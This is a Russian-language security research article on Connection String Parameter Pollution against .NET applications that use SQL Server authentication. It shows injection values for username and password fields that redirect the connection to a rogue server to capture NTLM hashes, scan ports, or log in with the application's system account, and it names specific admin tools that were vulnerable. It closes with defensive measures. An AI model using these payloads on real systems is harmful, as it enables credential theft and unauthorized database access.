Атаки с изменением параметров строки соединения ()

2011-08-05T00:00:00
ID RDOT:1633
Type rdot
Reporter Qwazar
Modified 2011-08-05T00:00:00

Description

1 Введение
Внедрение SQL-кода, вероятно, наиболее известный тип атаки веб-приложений, нарушающий структуру их баз данных. На данный момент изучено множество различных подходов и способов взлома, и полученные результаты говорят о том, что для успешного отражения таких атак разработчики должны продумывать систему фильтрации входной информации.
Что касается атаки, описанной в данном документе, ответственность лежит не только на разработчиках, но также и на системных администраторах и поставщиках баз данных. Эта атака направлена на веб-приложения, но вместо использования уязвимостей в реализации путём составления определенных запросов к БД, что наиболее часто встречается в других подобных атаках, она изменяет способ подключения приложения к БД.
Согласно OWASP [1], в 2007 году атаки с помощью внедрения кода находились на 2-ом месте в рейтинге 10-ти самых опасных атак на системы безопасности, уступая лишь XSS-атакам. Первая версия этого рейтинга за 2010 год подняла атаки с использованием внедрения кода на первое место. На самом деле, наиболее успешными являются атаки, совмещающие XSS для доступа к системе и внедрение кода для доступа к информации. Такая совмещенная атака носит название «Изменение параметров строки соединения». Потенциальная опасность данного типа атаки и полное отсутствие информации о нём явились причиной глубокого анализа, направленного на выявление направлений использования таких атак.

Данный документ состоит из трех основных разделов. Первый раздел – краткое вступление, в котором рассказывается о том, что такое строки соединения и о существующих способах реализации авторизации в веб-приложениях. Во втором разделе представлен всесторонний анализ нового способа атаки, с большим количеством тестовых примеров. А в последнем разделе кратко подводятся итоги.

1.1 Строки соединения
Строки соединения [2] используются приложениями для связи с БД. Синтаксис таких строк зависит от СУБД, к которой происходит подключение, и от провайдера или драйвера, используемого программистом для установления соединения.
Так или иначе, программист должен указать сервер и порт для соединения, имя базы данных, сведения для авторизации, а также некоторые дополнительные параметры соединения, такие как время ожидания, альтернативные БД, протокол связи или параметры шифрования.
Данный пример представляет собой строку соединения для связи с БД
Microsoft SQL Server:

“Data Source=Server,Port; Network Library=DBMSSOCN; Initial Catalog=DataBase; User ID=Username; Password=pwd;”

Как видно из примера, строка соединения – это набор параметров, разделенных точкой с запятой (, каждый из которых является парой «ключ-значение». Атрибуты, использованные в примере, соответствуют атрибутам из “.NET Framework Data Provider для SQL-сервера”, который программисты выбирают при работе с классом “SqlConnection” в приложениях .NET. Очевидно, что соединиться с SQL-сервером можно и с помощью других провайдеров, например:
- “.NET Framework Data Provider для OLE DB” (класс OleDbConnection)
- “.NET Framework Data Provider для ODBC” (класс OdbcConnection)
- “SQL Native Client 9.0 OLE DB provider”
Наиболее простой и рекомендуемый способ соединения приложения .NET и SQL-сервера – использование провайдера по умолчанию, синтаксис строк в котором одинаков для всех версий SQL-сервера (7, 2000, 2005 и 2008). В примерах, содержащихся в данной статье, используется провайдер по умолчанию.

1.2 Использование возможностей СУБД для авторизации веб-приложений
Существует два способа создания системы авторизации для веб-приложения: написать свою, или использовать возможности СУБД. В большинстве случаев разработчик приложения позволяет лишь одному пользователю соединяться с БД. База данных принимает такого пользователя за полноценное веб-приложение. Используя это соединение, приложение будет посылать запросы к таблице, в которой хранятся права доступа данного пользователя.

Веб-приложение определяется отдельным пользователем БД, имеющим доступ ко всей информации приложения, хранящейся в БД. То есть, в БД невозможно создать зернистую систему прав доступа к различным объектам или отследить действия всех пользователей приложения, поэтому данные задачи возлагаются на само приложение. Если злоумышленнику удастся использовать уязвимость в приложении и получить доступ к БД, то ему станет доступна вся информация, хранящаяся в ней. Это наиболее общая (и простая) схема, используемая во множестве CMS, таких как Joomla, Mambo и многих других. Чаще всего целью злоумышленников являются учетные данные из таблицы пользователей в БД.

Альтернатива заключается в передаче процедуры авторизации СУБД, чтобы строки соединения не содержали постоянный набор данных, а получали бы параметры, введенные пользователем, и СУБД затем проверяла бы их.
Приложения для управления БД всегда используют возможности СУБД для авторизации, чтобы пользователь, соединяющийся с приложением, имел возможность выполнять лишь те действия, на которые у него есть разрешения. Используя такую схему, становится возможным применить зернистую систему прав доступа и отслеживать действия пользователя.

У каждого метода свои преимущества и недостатки, помимо уже оговоренных, рассмотрение которых не входит в план данной статьи. Описанные здесь способы будут относиться ко второму методу: использованию возможностей СУБД для авторизации.

2 Внедрение в строку соединения
При использовании возможностей СУБД для авторизации, внедрение в строку соединения позволяет злоумышленнику вносить в неё новые параметры, добавляя их после точки с запятой (.
В примере, где пользователь должен был ввести имя и пароль для генерации строки соединения, злоумышленник может отключить систему шифрования, введя пароль типа "pwd; Encryption=off", в результате чего строка соединения будет выглядеть так:

“Data Source=Server,Port; Network Library=DBMSSOCN; Initial Catalog=DataBase; User ID=Username; Password=pwd; Encryption=off”

После формирования строки соединения, значение параметра Encryptionдобавляется к уже существующему набору параметров.

2.1 Формирование строк соединения в .NET
Опасаясь подобного использования [3] строк соединения, Microsoft во второй версии .NET Framework добавила классы “ConnectionStringBuilder” [4]. Они были нацелены на формирование безопасных строк соединения посредством базового класса (DbConnectionStringBuilder), либо посредством специальных классов различных провайдеров (SqlConnectionStringBuilder, OleDbConnectionStringBuilder, и т.п…). И поставленная цель была достигнута, во-первых, представлением атрибутов в виде пары «ключ-значение», а во-вторых, избеганием попыток внедрения кода.
Использование данных классов для формирования строк соединения может предотвратить внедрение кода. Тем не менее, лишь некоторые разработчики используют эту возможность в своих приложениях.

2.2 Изменение параметров строки соединения
Способы изменения параметров используются для замещения их значений. Такие способы хорошо известны в среде HTTP [5], но их также возможно применять и в других ситуациях. В данном примере мы будем подменять параметры строки соединения, что позволит провести несколько атак.

2.3 Атаки с помощью изменения параметров строки соединения (или атаки CSPP, Connection String Parameter Pollution)
В качестве примера для иллюстрации таких атак, возьмем веб-приложение, в котором необходимые имя пользователя [User_Value] и пароль [Password_Value] хранятся на сервере службы Microsoft Internet Information Services, работающем под управлением ОС Microsoft Windows Server. Учетные данные пользователя приложения будут использоваться для формирования строки соединения с базой данных Microsoft SQL Server:

Data source = SQL2005; initial catalog = db1; integrated security=no; user id=+’User_Value’+; Password=+’Password_Value’+;
Данная строка соединения показывает, как приложение связывается с СУБД Microsoft SQL Server. Зная это, злоумышленник может предпринять атаку CSPP. Идея подобной атаки состоит в добавлении параметра с желаемым значением к строке, при этом неважно, какое именно значение записывается и находится ли уже данный параметр в строке. Компонент, с помощью которого приложения .NET формируют строку соединения, будет использовать значение последнего вхождения параметра в строку. Если в строке встречается два параметра с ключом "Data Source", рабочее значение будет получено из последней пары, что даёт нам следующие направления атак CSPP.

2.3.1 Атака CSPP, вариант 1: кража хеш-данных
Злоумышленник может поднять подключенный к интернету фальшивый Microsoft SQL Server, также используя программу для слежения за учетными данными, т.н. сниффер (В данном примере была использована утилита CAIN [6]). Атака CSPP будет выглядеть следующим образом:
User_Value: ; Data Source = Rogue_Server

Password_Value: ; Integrated Security = true
Что даёт нам вот такую строку соединения:

Data source = SQL2005; initial catalog = db1; integrated security=no; user id=;Data Source=Rogue Server; Password=; Integrated Security=true;
Значения параметров "Data Source" и "Integrated Security" были подменены, таким образом, «родные» драйверы Microsoft SQL Server будут использовать последние значения, игнорируя предыдущие, и приложение будет пытаться соединиться с фальшивым сервером, имеющим права доступа пользователя Windows, который может быть пользователем системы или пользователем пула приложений.

2.3.1.1 Пример 1: ASP.NETEnterpriseManager
Это устаревшая и неподдерживаемая программа с открытым исходным кодом, хотя ее до сих пор используют некоторые хостинговые и другие компании для управления базами данных Microsoft SQL Server через веб-интерфейс. Официальный сайт данной программы aspnetenterprisemanager.com уже не работает, но её можно скачать с других порталов, например SourceForge [7] или MyOpenSource [8]. Эту утилиту рекомендуют в качестве отличной ASP.NET- альтернативы PHPMyAdmin [9], несмотря на то, что последняя версия датирована 3-им января 2003 года.

Данные сохраняются на фальшивом сервере с установленным сниффером, который предоставляет доступ к LM-хешу учетной записи.

2.3.2 Атака CSPP, вариант 2: Сканирование портов
Одним из необходимых параметров строки соединения является номер порта. Злоумышленник может заставить уязвимое приложение выполнять сканирование серверов, пытаясь соединиться с различными портами, и будет видеть сообщения об ошибках:
User_Value: ; Data Source =Target_Server, Target_Port

Password_Value: ; Integrated Security = true
В результате данной атаки получим такую строку соединения:

Data source = SQL2005; initial catalog = db1; integrated security=no; user id=;Data Source=Target Server, Target Port; Password=; Integrated Security=true;
В данной строке значение первого параметра с ключом "Data Source" будет проигнорировано, а вместо него будет использовано значение последнего параметра с таким ключом, то есть приложение будет пытаться соединиться с портом "Target Port" на сервере "Target Server". Наблюдая за различиями в получаемых сообщениях об ошибках, становится возможным выполнить сканирование портов.

2.3.2.1 Пример 2: myLittleAdminи myLittleBackup
Утилиты myLittleAdmin [10] и myLittleBackup [11] являются коммерческими, а разработала их компания myLittleTools [12]. Они были уязвимы к атакам CSPP вплоть до версий myLittleAdmin 3.5 и myLittleBackup 1.6.

Как видно из рис. 5, при прослушивании открытого порта мы получаем сообщение о том, что Microsoft SQL Server его не прослушивает, но соединение по протоколу TCP было установлено.

TCP-соединение не удастся установить, если порт закрыт, следовательно и сообщение об ошибке будет иным. Используя эти сообщения, можно провести сканирование TCP-портов сервера. Данный способ, естественно, можно использовать для поиска серверов внутри демилитаризованной зоны, в которой размещено приложение.

2.3.3 Атака CSPP, вариант 3: Кража веб-учетных данных
В данном случае злоумышленник пытается соединиться с базой данных, используя системную учетную запись веб-приложения вместо учетных данных, введенных пользователем:
User_Value: ; Data Source =Target_Server

Password_Value: ; Integrated Security = true
Внедрение этих значений даст нам такую строку соединения:

Data source = SQL2005; initial catalog = db1; integrated security=no; user id=;Data Source=Target Server, Target Port; Password=; Integrated Security=true;

Как мы видим, значение параметра "Integrated security" было изменено на "True". Это значит, что система будет пытаться соединиться с базой данных, используя системную учетную запись приложения. В данном случае системная учетная запись использовалась веб-приложением на сервере.

2.3.3.1 Пример 3: SQL Server Web Data Administrator
Этот проект изначально разрабатывался Microsoft, а затем он стал бесплатным, причем с открытым исходным кодом. На сегодняшний день вы все еще можете скачать последнюю выпущенную Microsoft версию 2004 года с серверов корпорации [13], но самая последняя версия, увидевшая свет в 2007 году, размещена на сайте Codeplex [14]. Codeplex-версия программы устойчива к атакам такого типа, поскольку в ней используются классы ConnectionStringBuilder для динамического формирования строк соединения.
Однако, версия, размещенная на сайте Microsoft, уязвима к атакам CSPP. Ниже показан способ получения доступа к системе с использованием атак данного типа.

Значение поля «Пароль» на рис. 7 равно: “; integratedSecurity=true”, о чем говорилось выше.

Злоумышленник может авторизоваться в приложении и управлять всей системой. Это происходит потому, что все пользователи и сетевые службы имеют доступ к серверу, что можно видеть на рис. 9.

2.3.3.2 Пример 4: myLittleAdminи myLittleBackup
В программах mylittleAdmin и myLittlebackup имеется возможность проверить строку соединения, используемую для получения доступа. В ней четко видны внедренные параметры, с помощью которых возможно получить доступ к системе.

Из рисунка 10 видно, что параметр "Data Source" со значением localhost был вставлен после параметра "User ID". Этот параметр, "Data Source", также стоит на первом месте в строке соединения. У них разные значения, но используется последнее, то есть то, которое мы добавили.
Та же ситуация наблюдается и с параметром "Integrated Security", первоначальное значение которого равно no, но его замещает значение yes, внедренное посредством поля «Пароль», что даёт полный доступ к серверу, при этом веб-приложение работает с системной учетной записью.

2.3.3.3 Пример 5: ASP.NET Enterprise Manager

Такую же атаку можно выполнить и с помощью последней публичной версии программы ASP.NET Enterprise manager, и, как мы видим на рисунке ниже, злоумышленник может подменить параметры строки соединения для получения доступа к веб-приложению.

В результате этого можно получить полный доступ к базе данных, что видно из рисунка ниже.

3 Выводы
Все приведенные примеры говорят о необходимости фильтрации вводимых пользователем данных. Более того, из данных примеров становится ясно, что необходимо всегда обновлять используемое программное обеспечение. Microsoft выпустила ConnectionStringbuilder в попытке избежать атак такого типа, но данный компонент безопасности используется не во всех приложениях.

Такие атаки также применимы и к другим СУБД, например Oracle, которые позволяют администраторам установить встроенную безопасность (Integrated Security) в своих БД. Кроме того, с помощью строк соединения Oracle возможно изменить способ подключения пользователей, используя сессию sysdba.
Базы данных MySQL не позволяют администраторам управлять процессом авторизации встроенной безопасности. Однако, все равно имеется возможность внедрения кода и изменения строк соединения в попытке соединиться с внутренними серверами, невидимыми из интернета.
Чтобы предотвратить такие атаки, необходимо фильтровать все параметры, и настроить межсетевой экран таким образом, чтобы он отслеживал не только входящие, но и исходящие соединения с внешних серверов, которые отсылают в интернет учетные данные NTLM. Также администраторы баз данных должны установить режим доступа с минимальными правами.

Ссылки
1. The Open Web Application Security Project, http://www.owasp.org
2. Connection Strings.com: http://www.connectionstrings.com
3. Ryan, W.: Using the SqlConnectionStringBuilder to guard against Connection String
Injection Attacks, http://msmvps.com/blogs/williamryan/archive/2006/01/15/81115.aspx
4. Connection String Builder (ADO.NET), http://msdn.microsoft.com/en-us/library/ms254947.aspx
5. Carettoni L., di Paola S.: HTTP Parameter Pollution,
http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
6. Cain: http://www.oxid.it/cain.html
7. ASP.NET Enterprise Manager in SourceForge, http://sourceforge.net/projects/asp-ent-man/
8. ASP.NET Enterprise Manager in MyOpenSource:
http://www.myopensource.org/internet/asp.net+enterprise+manager/download-review
9. PHPMyAdmin: http://www.phpmyadmin.net/
10. myLittleAdmin: http://www.mylittleadmin.com
11. myLittleBackup: http://www.mylittlebackup.com
12. myLittleTools: http://www.mylittletools.net
13. Microsoft SQL Server Web Data Administrator:
http://www.microsoft.com/downloads/details.aspx?FamilyID=c039a798-c57a-419e-acbc-
2a332cb7f959&displaylang=en
14. Microsoft SQL Server Web Data Administrator in Codeplex project:
http://www.codeplex.com/SqlWebAdmin

Взято с: <http://www.securitylab.ru/analytics/406547.php>